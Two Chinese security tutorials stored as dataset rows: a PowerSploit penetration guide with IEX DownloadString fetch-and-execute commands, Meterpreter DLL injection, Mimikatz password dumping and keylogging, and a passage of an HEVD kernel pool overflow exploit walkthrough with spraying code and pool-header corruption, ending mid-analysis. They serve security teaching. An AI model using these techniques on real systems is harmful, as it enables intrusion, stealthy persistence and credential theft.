text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 【技术分享】渗透利器之Powershell
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：**[ **阻圣** ****](http://bobao.360.cn/member/contribute?uid=134615136)
**稿费：200RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
**
**
**前言**
Powershell是Microsoft
Windows命令行shell程序和脚本环境，它提供了令人难以置信的灵活性和功能来管理Windows系统，现在Windows系统上基本上都有它的存在。正因为它的强大，才能被我们所利用，帮助我们进行渗透测试。
**Powershell的优秀之处**
1\. 代码运行在内存中可以不去接触磁盘
2\. 从另一个系统中下载代码并执行
3\. 很多安全产品并不能监测到powershell的活动
4\. cmd.exe通常被阻止运行，但是powershell不会。
**各个Windows下powershell版本**
**Powershell运行选项**
以下介绍了渗透测试过程中我们经常要使用到的powershell运行选项
-WindowsStyle Hidden 隐藏自己的窗口
-ExecutionPolicy Bypass 绕过策略
Powershell脚本默认情况下无法在cmd下或双击执行，这时我们就可以使用这个选项绕过。
**PowerSploit**
PowerSploit是GitHub上面的一个安全项目，上面有很多powershell攻击脚本，它们主要被用来渗透中的信息侦察、权限提升、权限维持。
项目地址：<https://github.com/PowerShellMafia/PowerSploit>
**一、代码执行（CodeExecution）**
1\. Invoke-DllInjection
2\. Invoke-ReflectivePEInjection
3\. Invoke-Shellcode
4\. Invoke-WmiCommand
**二、脚本修改（ScriptModification）**
1\. Out-EncodedCommand
2\. Out-CompressedDll
3\. Out-EncryptedScript
4\. Remove-Comments
**三、权限维持（Persistence）**
1\. New-UserPersistenceOption
2\. New-ElevatedPersistenceOption
3\. Add-Persistence
4\. Install-SSP
5\. Get-SecurityPackages
**四、绕过杀毒软件（AntivirusBypass）**
Find-AVSignature
**五、信息收集（Exfiltration）**
这个文件夹主要是收集目标主机上的信息。
**六、信息侦察（Recon）**
这个文件夹主要是以目标主机为跳板进行内网主机侦察。
**搭建PowerSploit脚本服务器**
1\. 下载PowerSploit到服务器
2\. 启动Apache
3\. 查看是否成功搭建
**实战运用**
由于篇幅问题，我们不可能针对每一个脚本都进行详细的介绍，所以这里我们来介绍一下实战中最常用到的脚本。
IEX远程下载脚本执行：
IEX(New-Object Net.WebClient).DownloadString(“脚本地址”)
**获取Shell：**
1\. Invoke-DllInjection
将DLL文件注入到当前进程中
我们首先来生成一个DLL反弹马
在目标机上保存msf.dll到本地
我们下载Invoke-DllInjection脚本
运行一个隐藏进程并注入DLL反弹木马
可以看见Meterpreter会话成功建立了
2\. Invoke-Shellcode
在当前进程中注入Shellcode
Powershell调用Windows
API非常方便，所以也可以直接来执行Shellcode。PowerSploit也提供了一些Shellcode，看下图：
**扩大成果-内网端口扫描**
1\. 我们先下载Invoke-Portscan
2\. 结果
**获取主机密码**
为了不让管理员发现，我们不能再目标机上添加任何账户，这时候我们就需要来获取管理员密码来维持访问。这里我们就需要使用到脚本Invoke-Mimikatz，注意需要管理员权限。
1\. 下载脚本
2\. dump密码
Invoke-Mimikatz –DumpCreds
再来一个大杀器-键盘记录
这样它就进行键盘记录，不仅有键盘输入记录还有鼠标输入记录，而且还有很详细的时间，实战使用的时候，我们就要在放入后台运行。
**漏洞探测-攻击进行时**
下载脚本：
IEX(New-Object Net.WebClient).DownloadString("http://192.168.6.133/PowerSploit/Privesc/PowerUp.ps1")
Invoke-AllChecks：输出可识别的漏洞
**自学指南-Get Help**
脚本很多，很难一一介绍，剩下就要自己来尝试了，但是网上基本上找不到使用教程，所以就需要来获取帮助信息，来帮助自己学习。
比如Invoke-DllInjection
下载脚本：
IEX(New-Object Net.WebClient).DownloadString("http://192.168.6.133/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")
获取帮助信息：
Get-Help Invoke-DllInjection
查看事例：
Get-Help Invoke-DllInjection -Examples
查看详细信息：
Get-Help Invoke-DllInjection –Detailed
**结束语**
Powershell实在是太强大了，可以说是内网渗透利器，继续深入研究，下一篇文章我们就不再是使用别人的脚本了，本篇文章的作用主要还是在于引导，大家还是要多用多练，才能在实践中灵活的运用。 | 社区文章 |
# 0x00：前言
这是 Windows kernel exploit
系列的第四部分，前一篇我们讲了任意内存覆盖漏洞，这一篇我们讲内核池溢出漏洞，这一篇篇幅虽然可能不会很多，但是需要很多的前置知识，也就是说，我们需要对Windows内存分配机制有一个深入的理解，我的建议是先看《0day安全：软件漏洞分析技术第二版》中的第五章堆溢出利用，里面很详细的讲解了堆的一些机制，但是主要讨论的是
Windows 2000～Windows XP SP1 平台的堆管理策略，看完了之后，类比堆溢出利用你可以看 Tarjei Mandt 写的 Kernel
Pool Exploitation on Windows 7 ，因为我们的实验平台是 Windows 7
的内核池，所以我们需要对内核池深入的理解，虽然是英文文档，但是不要惧怕，毕竟我花了一周的时间才稍微读懂了其中的一些内容(这也是这一篇更新比较慢的原因)，总之这个过程是漫长的，并不是一两天就能搞定的，话不多说，进入正题，看此文章之前你需要有以下准备：
* Windows 7 x86 sp1虚拟机
* 配置好windbg等调试工具，建议配合VirtualKD使用
* HEVD+OSR Loader配合构造漏洞环境
传送门：
[+][Windows Kernel Exploit(一) -> UAF](https://xz.aliyun.com/t/5493)
[+][Windows Kernel Exploit(二) -> StackOverflow](https://xz.aliyun.com/t/5536)
[+][Windows Kernel Exploit(三) -> Write-What-Where](https://xz.aliyun.com/t/5615)
# 0x01：漏洞原理
## 池溢出原理
我们暂时先不看源码，先用IDA分析`HEVD.sys`，我们找到`TriggerPoolOverflow`函数，先静态分析一下函数在干什么，可以看到，函数首先用[`ExAllocatePoolWithTag`](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-exallocatepoolwithtag)函数分配了一块非分页内存池，然后将一些信息打印出来，又验证缓冲区是否驻留在用户模式下，然后用[`memcpy`](https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/memcpy-wmemcpy?view=vs-2019)函数将`UserBuffer`拷贝到`KernelBuffer`，这和内核栈溢出有点似曾相识的感觉，同样的拷贝，同样的没有控制Size的大小，只是一个是栈溢出一个是池溢出
int __stdcall TriggerPoolOverflow(void *UserBuffer, unsigned int Size)
{
int result; // eax
PVOID KernelBuffer; // [esp+1Ch] [ebp-1Ch]
DbgPrint("[+] Allocating Pool chunk\n");
KernelBuffer = ExAllocatePoolWithTag(0, 0x1F8u, 0x6B636148u);
if ( KernelBuffer )
{
DbgPrint("[+] Pool Tag: %s\n", "'kcaH'");
DbgPrint("[+] Pool Type: %s\n", "NonPagedPool");
DbgPrint("[+] Pool Size: 0x%X\n", 0x1F8);
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
ProbeForRead(UserBuffer, 0x1F8u, 1u);
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", 0x1F8);
DbgPrint("[+] Triggering Pool Overflow\n");
memcpy(KernelBuffer, UserBuffer, Size);
DbgPrint("[+] Freeing Pool chunk\n");
DbgPrint("[+] Pool Tag: %s\n", "'kcaH'");
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
ExFreePoolWithTag(KernelBuffer, 0x6B636148u);
result = 0;
}
else
{
DbgPrint("[-] Unable to allocate Pool chunk\n");
result = 0xC0000017;
}
return result;
}
漏洞的原理很简单，就是没有控制好传入Size的大小，为了更清楚的了解漏洞原理，我们分析一下源码文件`BufferOverflowNonPagedPool.c`，定位到关键点的位置，也就是说，安全的操作始终对分配的内存有严格的控制
#ifdef SECURE
//
// Secure Note: This is secure because the developer is passing a size
// equal to size of the allocated pool chunk to RtlCopyMemory()/memcpy().
// Hence, there will be no overflow
//
RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
DbgPrint("[+] Triggering Buffer Overflow in NonPagedPool\n");
//
// Vulnerability Note: This is a vanilla pool buffer overflow vulnerability
// because the developer is passing the user supplied value directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of the allocated Pool chunk
//
RtlCopyMemory(KernelBuffer, UserBuffer, Size);
# 0x02：漏洞利用
## 控制码
漏洞的原理我们已经清楚了，但是关键点还是在利用上，内核池这个东西利用起来就不像栈一样那么简单了，我们还是一步一步的构造我们的exploit吧，首先根据上一篇的经验我们知道如何计算控制码从而调用`TriggerPoolOverflow`函数，首先找到`HackSysExtremeVulnerableDriver.h`中定义`IOCTL`的地方，找到我们对应的函数
#define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL IOCTL(0x803)
然后我们用python计算一下控制码
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x803 << 2) | 0x00000003)
'0x22200f'
我们验证一下我们的代码，我们先给buf一个比较小的值
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice = NULL;
BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
int main()
{
DWORD bReturn = 0;
char buf[8];
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
RtlFillMemory(buf, 8, 0x41);
DeviceIoControl(hDevice, 0x22200f, buf, 8, NULL, 0, &bReturn, NULL);
return 0;
}
运行一下如我们所愿调用了`TriggerPoolOverflow`函数，另外我们可以发现 Pool Size 有 0x1F8(504)
的大小(如果你细心的话其实在IDA中也能看到，另外你可以尝试着多传入几个字节的大小破坏下一块池头的内容，看看是否会蓝屏)
0: kd> g
****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x8674B610
[+] UserBuffer: 0x001BFB58
[+] UserBuffer Size: 0x8
[+] KernelBuffer: 0x8674B610
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
[+] Freeing Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Chunk: 0x8674B610
****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******
我们现在需要了解内核池分配的情况，所以我们需要在拷贝函数执行之前下断点观察，我们把 buf 设为 0x1F8 大小
1: kd> u 8D6A320B // 反编译查看断点位置是否下对
HEVD!TriggerPoolOverflow+0xe1 [c:\hacksysextremevulnerabledriver\driver\pooloverflow.c @ 113]:
8d6a320b e8cacfffff call HEVD!memcpy (8d6a01da)
8d6a3210 686c436a8d push offset HEVD! ?? ::NNGAKEGL::`string' (8d6a436c)
8d6a3215 e8eccdffff call HEVD!DbgPrint (8d6a0006)
8d6a321a 6834446a8d push offset HEVD! ?? ::NNGAKEGL::`string' (8d6a4434)
8d6a321f 53 push ebx
8d6a3220 e8e1cdffff call HEVD!DbgPrint (8d6a0006)
8d6a3225 ff75e4 push dword ptr [ebp-1Ch]
8d6a3228 57 push edi
1: kd> ba e1 8D6A320B // 下硬件执行断点
1: kd> g
****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x88CAAA90
[+] UserBuffer: 0x001FF82C
[+] UserBuffer Size: 0x1F8
[+] KernelBuffer: 0x88CAAA90
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
Breakpoint 0 hit
HEVD!TriggerPoolOverflow+0xe1:
8c6d120b e8cacfffff call HEVD!memcpy (8c6ce1da)
我们可以用`!pool address`命令查看address周围地址处的池信息
kd> !pool 0x88CAAA90
Pool page 88caaa90 region is Nonpaged pool
88caa000 size: 118 previous size: 0 (Allocated) AfdE (Protected)
88caa118 size: 8 previous size: 118 (Free) Ipng
88caa120 size: 68 previous size: 8 (Allocated) EtwR (Protected)
88caa188 size: 2e8 previous size: 68 (Free) Thre
88caa470 size: 118 previous size: 2e8 (Allocated) AfdE (Protected)
88caa588 size: 190 previous size: 118 (Free) AleD
88caa718 size: 68 previous size: 190 (Allocated) EtwR (Protected)
88caa780 size: 48 previous size: 68 (Allocated) Vad
88caa7c8 size: 30 previous size: 48 (Allocated) NpFn Process: 88487d40
88caa7f8 size: f8 previous size: 30 (Allocated) MmCi
88caa8f0 size: 48 previous size: f8 (Allocated) Vad
88caa938 size: 138 previous size: 48 (Allocated) ALPC (Protected)
88caaa70 size: 18 previous size: 138 (Allocated) CcWk
*88caaa88 size: 200 previous size: 18 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
88caac88 size: 20 previous size: 200 (Allocated) ReTa
88caaca8 size: 190 previous size: 20 (Free) AleD
88caae38 size: 1c8 previous size: 190 (Allocated) AleE
我们查看我们申请到池的末尾，0x41414141之后就是下一个池的池首，我们待会主要的目的就是修改下一个池首的内容，从而运行我们shellcode
kd> dd 88caac88-8
88caac80 41414141 41414141 04040040 61546552
88caac90 00000000 00000003 00000000 00000000
88caaca0 00000000 00000000 00320004 44656c41
88caacb0 884520c8 88980528 00000011 00000000
88caacc0 01100802 00000080 760e0002 000029c7
88caacd0 873e2ae0 873e2ae0 e702b9dd 00000000
88caace0 00000164 00000000 00000000 00000001
88caacf0 00000000 00000100 88caacb0 8969ae1b
## Event Object
从上面的池分布信息可以看到周围的池分布是很杂乱无章的，我们希望是能够控制我们内核池的分布，从源码中我们已经知道，我们的漏洞点是产生在非分页池中的，所以我们需要一个函数像malloc一样申请在我们的内核非分页池中，我们这里使用的是[`CreateEventA`](https://docs.microsoft.com/zh-cn/windows/win32/api/synchapi/nf-synchapi-createeventa)，函数原型如下
HANDLE CreateEventA(
LPSECURITY_ATTRIBUTES lpEventAttributes,
BOOL bManualReset,
BOOL bInitialState,
LPCSTR lpName
);
该函数会生成一个[`Event`](https://docs.microsoft.com/zh-cn/windows/win32/sync/event-objects)事件对象，它的大小为 0x40 ，因为在刚才的调试中我们知道我们的池大小为 `0x1f8 + 8 =
0x200`，所以多次申请就刚好可以填满我们的池，如果把池铺满成我们的Event对象，我们再用[`CloseHandle`](https://docs.microsoft.com/zh-cn/windows/win32/api/handleapi/nf-handleapi-closehandle)函数释放一些对象，我们就可以在Event中间留出一些我们可以操控的空间，我们构造如下代码测试
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice = NULL;
BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
HANDLE spray_event[0x1000];
VOID pool_spray()
{
for (int i = 0; i < 0x1000; i++)
spray_event[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
}
int main()
{
DWORD bReturn = 0;
char buf[504] = { 0 };
RtlFillMemory(buf, 504, 0x41);
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
pool_spray();
DeviceIoControl(hDevice, 0x22200f, buf, 504, NULL, 0, &bReturn, NULL);
//__debugbreak();
return 0;
}
可以发现，我们已经把内核池铺成了我们希望的样子
****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x86713A08
[+] UserBuffer: 0x0032FB1C
[+] UserBuffer Size: 0x1F8
[+] KernelBuffer: 0x86713A08
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
Breakpoint 0 hit
HEVD!TriggerPoolOverflow+0xe1:
8c6d120b e8cacfffff call HEVD!memcpy (8c6ce1da)
kd> !pool 0x86713A08
Pool page 86713a08 region is Nonpaged pool
86713000 size: 40 previous size: 0 (Allocated) Even (Protected)
86713040 size: 10 previous size: 40 (Free) ....
86713050 size: 48 previous size: 10 (Allocated) Vad
86713098 size: 48 previous size: 48 (Allocated) Vad
867130e0 size: 40 previous size: 48 (Allocated) Even (Protected)
86713120 size: 28 previous size: 40 (Allocated) WfpF
86713148 size: 28 previous size: 28 (Allocated) WfpF
86713170 size: 890 previous size: 28 (Free) NSIk
*86713a00 size: 200 previous size: 890 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
86713c00 size: 40 previous size: 200 (Allocated) Even (Protected)
86713c40 size: 40 previous size: 40 (Allocated) Even (Protected)
86713c80 size: 40 previous size: 40 (Allocated) Even (Protected)
86713cc0 size: 40 previous size: 40 (Allocated) Even (Protected)
86713d00 size: 40 previous size: 40 (Allocated) Even (Protected)
86713d40 size: 40 previous size: 40 (Allocated) Even (Protected)
86713d80 size: 40 previous size: 40 (Allocated) Even (Protected)
86713dc0 size: 40 previous size: 40 (Allocated) Even (Protected)
86713e00 size: 40 previous size: 40 (Allocated) Even (Protected)
86713e40 size: 40 previous size: 40 (Allocated) Even (Protected)
86713e80 size: 40 previous size: 40 (Allocated) Even (Protected)
86713ec0 size: 40 previous size: 40 (Allocated) Even (Protected)
86713f00 size: 40 previous size: 40 (Allocated) Even (Protected)
86713f40 size: 40 previous size: 40 (Allocated) Even (Protected)
86713f80 size: 40 previous size: 40 (Allocated) Even (Protected)
86713fc0 size: 40 previous size: 40 (Allocated) Even (Protected)
接下来我们加上`CloseHandle`函数就可以制造一些空洞了
VOID pool_spray()
{
for (int i = 0; i < 0x1000; i++)
spray_event[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
for (int i = 0; i < 0x1000; i++)
{
// 0x40 * 8 = 0x200
for (int j = 0; j < 8; j++)
CloseHandle(spray_event[i + j]);
i += 8;
}
}
重新运行结果如下，我们已经制造了许多空洞
****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x8675AB88
[+] UserBuffer: 0x0017F808
[+] UserBuffer Size: 0x1F8
[+] KernelBuffer: 0x8675AB88
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
Breakpoint 0 hit
HEVD!TriggerPoolOverflow+0xe1:
8d6a320b e8cacfffff call HEVD!memcpy (8d6a01da)
1: kd> !pool 0x8675AB88
unable to get nt!ExpHeapBackedPoolEnabledState
Pool page 8675ab88 region is Nonpaged pool
8675a000 size: 40 previous size: 0 (Free) Even
8675a040 size: 40 previous size: 40 (Free ) Even (Protected)
8675a080 size: 40 previous size: 40 (Free ) Even (Protected)
8675a0c0 size: 40 previous size: 40 (Free ) Even (Protected)
8675a100 size: 40 previous size: 40 (Free ) Even (Protected)
8675a140 size: 40 previous size: 40 (Free ) Even (Protected)
8675a180 size: 40 previous size: 40 (Free ) Even (Protected)
8675a1c0 size: 40 previous size: 40 (Free ) Even (Protected)
8675a200 size: 40 previous size: 40 (Free ) Even (Protected)
8675a240 size: 40 previous size: 40 (Allocated) Even (Protected)
8675a280 size: 40 previous size: 40 (Free ) Even (Protected)
8675a2c0 size: 40 previous size: 40 (Free ) Even (Protected)
8675a300 size: 40 previous size: 40 (Free ) Even (Protected)
8675a340 size: 40 previous size: 40 (Free ) Even (Protected)
8675a380 size: 40 previous size: 40 (Free ) Even (Protected)
8675a3c0 size: 40 previous size: 40 (Free ) Even (Protected)
8675a400 size: 40 previous size: 40 (Free ) Even (Protected)
8675a440 size: 40 previous size: 40 (Free) Even
8675a480 size: 40 previous size: 40 (Allocated) Even (Protected)
8675a4c0 size: 200 previous size: 40 (Free) Even
8675a6c0 size: 40 previous size: 200 (Allocated) Even (Protected)
8675a700 size: 200 previous size: 40 (Free) Even
8675a900 size: 40 previous size: 200 (Allocated) Even (Protected)
8675a940 size: 200 previous size: 40 (Free) Even
8675ab40 size: 40 previous size: 200 (Allocated) Even (Protected)
*8675ab80 size: 200 previous size: 40 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
8675ad80 size: 40 previous size: 200 (Allocated) Even (Protected)
8675adc0 size: 200 previous size: 40 (Free) Even
8675afc0 size: 40 previous size: 200 (Allocated) Even (Protected)
## 池头伪造
首先我们复习一下`x86 Kernel Pool`的池头结构`_POOL_HEADER`，`_POOL_HEADER`是用来管理pool
thunk的，里面存放一些释放和分配所需要的信息
0: kd> dt nt!_POOL_HEADER
+0x000 PreviousSize : Pos 0, 9 Bits
+0x000 PoolIndex : Pos 9, 7 Bits
+0x002 BlockSize : Pos 0, 9 Bits
+0x002 PoolType : Pos 9, 7 Bits
+0x000 Ulong1 : Uint4B
+0x004 PoolTag : Uint4B
+0x004 AllocatorBackTraceIndex : Uint2B
+0x006 PoolTagHash : Uint2B
* PreviousSize: 前一个chunk的BlockSize。
* PoolIndex : 所在大pool的pool descriptor的index。这是用来检查释放pool的算法是否释放正确了。
* PoolType: Free=0,Allocated=(PoolType|2)
* PoolTag: 4个可打印字符，标明由哪段代码负责。(4 printable characters identifying the code responsible for the allocation)
我们在调试中查看下一个池的一些结构
...
[+] Pool Chunk: 0x867C8CC8
...
2: kd> !pool 0x867C8CC8
...
*867c8cc0 size: 200 previous size: 40 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
867c8ec0 size: 40 previous size: 200 (Allocated) Even (Protected)
...
2: kd> dd 867c8ec0
867c8ec0 04080040 ee657645 00000000 00000040
867c8ed0 00000000 00000000 00000001 00000001
867c8ee0 00000000 0008000c 88801040 00000000
867c8ef0 11040001 00000000 867c8ef8 867c8ef8
867c8f00 00200008 ee657645 867bc008 867c8008
867c8f10 00000000 00000000 00000000 00000000
867c8f20 00000000 00080001 00000000 00000000
867c8f30 74040001 00000000 867c8f38 867c8f38
2: kd> dt nt!_POOL_HEADER 867c8ec0
+0x000 PreviousSize : 0y001000000 (0x40)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y000001000 (0x8)
+0x002 PoolType : 0y0000010 (0x2)
+0x000 Ulong1 : 0x4080040
+0x004 PoolTag : 0xee657645
+0x004 AllocatorBackTraceIndex : 0x7645
+0x006 PoolTagHash : 0xee65
2: kd> dt nt!_OBJECT_HEADER_QUOTA_INFO 867c8ec0+8
+0x000 PagedPoolCharge : 0
+0x004 NonPagedPoolCharge : 0x40
+0x008 SecurityDescriptorCharge : 0
+0x00c SecurityDescriptorQuotaBlock : (null)
2: kd> dt nt!_OBJECT_HEADER 867c8ec0+18
+0x000 PointerCount : 0n1
+0x004 HandleCount : 0n1
+0x004 NextToFree : 0x00000001 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0xc ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0 ''
+0x010 ObjectCreateInfo : 0x88801040 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x88801040 Void
+0x014 SecurityDescriptor : (null)
+0x018 Body : _QUAD
你可能会疑惑`_OBJECT_HEADER`和`_OBJECT_HEADER_QUOTA_INFO`是怎么分析出来的，这里你需要了解 Windows 7
的对象结构不然可能听不懂图片下面的那几行字，最好是在NT4源码(private\ntos\inc\ob.h)中搜索查看这些结构，这里我放一张图片吧
这里我简单说一下如何识别这两个结构的，根据下一块池的大小是 0x40
，在`_OBJECT_HEADER_QUOTA_INFO`结构中`NonPagedPoolCharge`的偏移为0x004刚好为池的大小，所以这里确定为`_OBJECT_HEADER_QUOTA_INFO`结构，又根据`InfoMask`字段在`_OBJECT_HEADER`中的偏移，结合我们确定的`_OBJECT_HEADER_QUOTA_INFO`结构掩码为0x8可以确定这里就是我们的`InfoMask`，这样推出`_OBJECT_HEADER`的位置在+0x18处，其实我们需要修改的也就是`_OBJECT_HEADER`中的`TypeIndex`字段，这里是0xc，我们需要将它修改为0，我们看一下`_OBJECT_HEADER`的结构
3: kd> dt _OBJECT_HEADER
nt!_OBJECT_HEADER
+0x000 PointerCount : Int4B
+0x004 HandleCount : Int4B
+0x004 NextToFree : Ptr32 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : UChar
+0x00d TraceFlags : UChar
+0x00e InfoMask : UChar
+0x00f Flags : UChar
+0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : Ptr32 Void
+0x014 SecurityDescriptor : Ptr32 Void
+0x018 Body : _QUAD
Windows 7 之后 `_OBJECT_HEADER` 及其之前的一些结构发生了变化，Windows
7之前0×008处的指向`_OBJECT_TYPE`的指针已经没有了, 取而代之的是在 0x00c
处的类型索引值。但Windows7中添加了一个函数`ObGetObjectType`，返回`Object_type`对象指针，也就是说根据索引值在`ObTypeIndexTable`数组中找到对应的`ObjectType`
3: kd> u ObGetObjectType
nt!ObGetObjectType:
8405a7bd 8bff mov edi,edi
8405a7bf 55 push ebp
8405a7c0 8bec mov ebp,esp
8405a7c2 8b4508 mov eax,dword ptr [ebp+8]
8405a7c5 0fb640f4 movzx eax,byte ptr [eax-0Ch]
8405a7c9 8b04850059f483 mov eax,dword ptr nt!ObTypeIndexTable (83f45900)[eax*4]
8405a7d0 5d pop ebp
8405a7d1 c20400 ret 4
我们查看一下`ObTypeIndexTable`数组，根据`TypeIndex`的大小我们可以确定偏移 0xc 处的 0x865f0598 即是我们
Event 对象的`OBJECT_TYPE`，我们这里主要关注的是`TypeInfo`中的`CloseProcedure`字段
1: kd> dd nt!ObTypeIndexTable
83f45900 00000000 bad0b0b0 86544768 865446a0
83f45910 865445d8 865cd040 865cdf00 865cde38
83f45920 865cdd70 865cdca8 865cdbe0 865cd528
83f45930 865f0598 865f2418 865f2350 865f44c8
83f45940 865f4400 865f4338 865f0040 865f0230
83f45950 865f0168 865f19b8 865f18f0 865f1828
83f45960 865f1760 865f1698 865f15d0 865f1508
83f45970 865f1440 865ef6f0 865ef628 865ef560
1: kd> dt nt!_OBJECT_TYPE 865f0598
+0x000 TypeList : _LIST_ENTRY [ 0x865f0598 - 0x865f0598 ]
+0x008 Name : _UNICODE_STRING "Event"
+0x010 DefaultObject : (null)
+0x014 Index : 0xc ''
+0x018 TotalNumberOfObjects : 0x1050
+0x01c TotalNumberOfHandles : 0x10ac
+0x020 HighWaterNumberOfObjects : 0x1e8a
+0x024 HighWaterNumberOfHandles : 0x1ee6
+0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x078 TypeLock : _EX_PUSH_LOCK
+0x07c Key : 0x6e657645
+0x080 CallbackList : _LIST_ENTRY [ 0x865f0618 - 0x865f0618 ]
1: kd> dx -id 0,0,ffffffff889681e0 -r1 (*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0xffffffff865f05c0))
(*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0xffffffff865f05c0)) [Type: _OBJECT_TYPE_INITIALIZER]
[+0x000] Length : 0x50 [Type: unsigned short]
[+0x002] ObjectTypeFlags : 0x0 [Type: unsigned char]
[+0x002 ( 0: 0)] CaseInsensitive : 0x0 [Type: unsigned char]
[+0x002 ( 1: 1)] UnnamedObjectsOnly : 0x0 [Type: unsigned char]
[+0x002 ( 2: 2)] UseDefaultObject : 0x0 [Type: unsigned char]
[+0x002 ( 3: 3)] SecurityRequired : 0x0 [Type: unsigned char]
[+0x002 ( 4: 4)] MaintainHandleCount : 0x0 [Type: unsigned char]
[+0x002 ( 5: 5)] MaintainTypeList : 0x0 [Type: unsigned char]
[+0x002 ( 6: 6)] SupportsObjectCallbacks : 0x0 [Type: unsigned char]
[+0x004] ObjectTypeCode : 0x2 [Type: unsigned long]
[+0x008] InvalidAttributes : 0x100 [Type: unsigned long]
[+0x00c] GenericMapping [Type: _GENERIC_MAPPING]
[+0x01c] ValidAccessMask : 0x1f0003 [Type: unsigned long]
[+0x020] RetainAccess : 0x0 [Type: unsigned long]
[+0x024] PoolType : NonPagedPool (0) [Type: _POOL_TYPE]
[+0x028] DefaultPagedPoolCharge : 0x0 [Type: unsigned long]
[+0x02c] DefaultNonPagedPoolCharge : 0x40 [Type: unsigned long]
[+0x030] DumpProcedure : 0x0 [Type: void (*)(void *,_OBJECT_DUMP_CONTROL *)]
[+0x034] OpenProcedure : 0x0 [Type: long (*)(_OB_OPEN_REASON,char,_EPROCESS *,void *,unsigned long *,unsigned long)]
[+0x038] CloseProcedure : 0x0 [Type: void (*)(_EPROCESS *,void *,unsigned long,unsigned long)]
[+0x03c] DeleteProcedure : 0x0 [Type: void (*)(void *)]
[+0x040] ParseProcedure : 0x0 [Type: long (*)(void *,void *,_ACCESS_STATE *,char,unsigned long,_UNICODE_STRING *,_UNICODE_STRING *,void *,_SECURITY_QUALITY_OF_SERVICE *,void * *)]
[+0x044] SecurityProcedure : 0x840675b6 [Type: long (*)(void *,_SECURITY_OPERATION_CODE,unsigned long *,void *,unsigned long *,void * *,_POOL_TYPE,_GENERIC_MAPPING *,char)]
[+0x048] QueryNameProcedure : 0x0 [Type: long (*)(void *,unsigned char,_OBJECT_NAME_INFORMATION *,unsigned long,unsigned long *,char)]
[+0x04c] OkayToCloseProcedure : 0x0 [Type: unsigned char (*)(_EPROCESS *,void *,void *,char)]
